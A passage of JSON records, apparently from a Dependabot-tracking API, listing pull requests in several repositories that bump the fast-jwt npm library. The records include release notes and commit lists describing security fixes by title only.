href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/044bf42c8e0a2eda8afc0819f97ae435c4214e3c\"\u003e\u003ccode\u003e044bf42\u003c/code\u003e\u003c/a\u003e Release v6.2.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/611\"\u003e#611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4e5b5708b6a9bfa5b06b5b10f888084b754c740d\"\u003e\u003ccode\u003e4e5b570\u003c/code\u003e\u003c/a\u003e fix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/610\"\u003e#610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ab7e46cd66b1ddff689c0b91a0392fef52a37df6\"\u003e\u003ccode\u003eab7e46c\u003c/code\u003e\u003c/a\u003e Release v6.2.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/608\"\u003e#608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/111286c9b650e089d6fdef939646d234064da3de\"\u003e\u003ccode\u003e111286c\u003c/code\u003e\u003c/a\u003e fix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0a0cdba904a7b3b38686a64c0339443fecdaa3a5\"\u003e\u003ccode\u003e0a0cdba\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump typescript from 5.9.3 to 6.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/604\"\u003e#604\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.2.2\u0026new-version=6.2.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/arediss/Oscarr/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/arediss/Oscarr/pull/183","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/arediss%2FOscarr/issues/183","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/183/packages"}},{"old_version":"6.2.2","new_version":"6.2.4","update_type":"patch","path":null,"pr_created_at":"2026-05-08T12:17:16.000Z","version_change":"6.2.2 → 6.2.4","issue":{"uuid":"4406318618","node_id":"PR_kwDOSGlkY87Zhwvw","number":30,"state":"open","title":"Bump fast-jwt from 6.2.2 to 6.2.4","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-08T12:17:16.000Z","updated_at":"2026-05-08T12:17:23.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"fast-jwt","old_version":"6.2.2","new_version":"6.2.4","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.2.2 to 6.2.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/610\"\u003enearform/fast-jwt#610\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump typescript from 5.9.3 to 6.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/604\"\u003enearform/fast-jwt#604\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) by \u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/044bf42c8e0a2eda8afc0819f97ae435c4214e3c\"\u003e\u003ccode\u003e044bf42\u003c/code\u003e\u003c/a\u003e Release v6.2.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/611\"\u003e#611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4e5b5708b6a9bfa5b06b5b10f888084b754c740d\"\u003e\u003ccode\u003e4e5b570\u003c/code\u003e\u003c/a\u003e fix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/610\"\u003e#610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ab7e46cd66b1ddff689c0b91a0392fef52a37df6\"\u003e\u003ccode\u003eab7e46c\u003c/code\u003e\u003c/a\u003e Release v6.2.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/608\"\u003e#608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/111286c9b650e089d6fdef939646d234064da3de\"\u003e\u003ccode\u003e111286c\u003c/code\u003e\u003c/a\u003e fix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0a0cdba904a7b3b38686a64c0339443fecdaa3a5\"\u003e\u003ccode\u003e0a0cdba\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump typescript from 5.9.3 to 6.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/604\"\u003e#604\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.2.2\u0026new-version=6.2.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Unwrenchable/effective-engine/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Unwrenchable/effective-engine/pull/30","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Unwrenchable%2Feffective-engine/issues/30","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/30/packages"}},{"old_version":"6.2.2","new_version":"6.2.4","update_type":"patch","path":"/backend in the npm_and_yarn group across 1 directory","pr_created_at":"2026-05-07T12:20:18.000Z","version_change":"6.2.2 → 6.2.4","issue":{"uuid":"4398700752","node_id":"PR_kwDOLCnFzc7ZI62-","number":811,"state":"closed","title":"build(deps): bump fast-jwt from 6.2.2 to 6.2.4 in /backend in the npm_and_yarn group across 1 directory","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-11T06:34:40.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-07T12:20:18.000Z","updated_at":"2026-05-11T06:34:48.000Z","time_to_close":324862,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"fast-jwt","old_version":"6.2.2","new_version":"6.2.4","repository_url":"https://github.com/nearform/fast-jwt"}],"path":"/backend in the npm_and_yarn group across 1 directory","ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 1 update in the /backend directory: [fast-jwt](https://github.com/nearform/fast-jwt).\n\nUpdates `fast-jwt` from 6.2.2 to 6.2.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/610\"\u003enearform/fast-jwt#610\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump typescript from 5.9.3 to 6.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/604\"\u003enearform/fast-jwt#604\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) by \u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/044bf42c8e0a2eda8afc0819f97ae435c4214e3c\"\u003e\u003ccode\u003e044bf42\u003c/code\u003e\u003c/a\u003e Release v6.2.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/611\"\u003e#611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4e5b5708b6a9bfa5b06b5b10f888084b754c740d\"\u003e\u003ccode\u003e4e5b570\u003c/code\u003e\u003c/a\u003e fix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/610\"\u003e#610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ab7e46cd66b1ddff689c0b91a0392fef52a37df6\"\u003e\u003ccode\u003eab7e46c\u003c/code\u003e\u003c/a\u003e Release v6.2.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/608\"\u003e#608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/111286c9b650e089d6fdef939646d234064da3de\"\u003e\u003ccode\u003e111286c\u003c/code\u003e\u003c/a\u003e fix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0a0cdba904a7b3b38686a64c0339443fecdaa3a5\"\u003e\u003ccode\u003e0a0cdba\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump typescript from 5.9.3 to 6.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/604\"\u003e#604\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/FalkorDB/falkordb-dbaas/pull/811","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/FalkorDB%2Ffalkordb-dbaas/issues/811","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/811/packages"}},{"old_version":"6.1.0","new_version":"6.2.2","update_type":"minor","path":null,"pr_created_at":"2026-04-10T09:24:53.000Z","version_change":"6.1.0 → 6.2.2","issue":{"uuid":"4238067529","node_id":"PR_kwDODHZ9hs7RZnKI","number":2244,"state":"open","title":"chore(deps): bump fast-jwt from 6.1.0 to 6.2.2","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-10T09:24:53.000Z","updated_at":"2026-04-10T09:24:54.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.2","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.2.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd guard against 'null' token and token parts by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/602\"\u003enearform/fast-jwt#602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/602\"\u003enearform/fast-jwt#602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.1...v6.2.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.1...v6.2.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix/regex non deterministic validation by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/593\"\u003enearform/fast-jwt#593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed options by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/595\"\u003enearform/fast-jwt#595\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/c3c4fea64c32b273341b7fba4ee54603ff93e220\"\u003e\u003ccode\u003ec3c4fea\u003c/code\u003e\u003c/a\u003e Release v6.2.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/603\"\u003e#603\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f6763a4d2aa4826458f155ef6ed0a9c07b15ddd5\"\u003e\u003ccode\u003ef6763a4\u003c/code\u003e\u003c/a\u003e fixes \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/601\"\u003e#601\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/602\"\u003e#602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/6b13fe96614a38613d453f46ba0631c4cd09dcd8\"\u003e\u003ccode\u003e6b13fe9\u003c/code\u003e\u003c/a\u003e Release v6.2.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94\"\u003e\u003ccode\u003eb0be0ca\u003c/code\u003e\u003c/a\u003e fix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed op...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a\"\u003e\u003ccode\u003e18d2590\u003c/code\u003e\u003c/a\u003e Fix/regex non deterministic validation (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/593\"\u003e#593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.2\"\u003ecompare 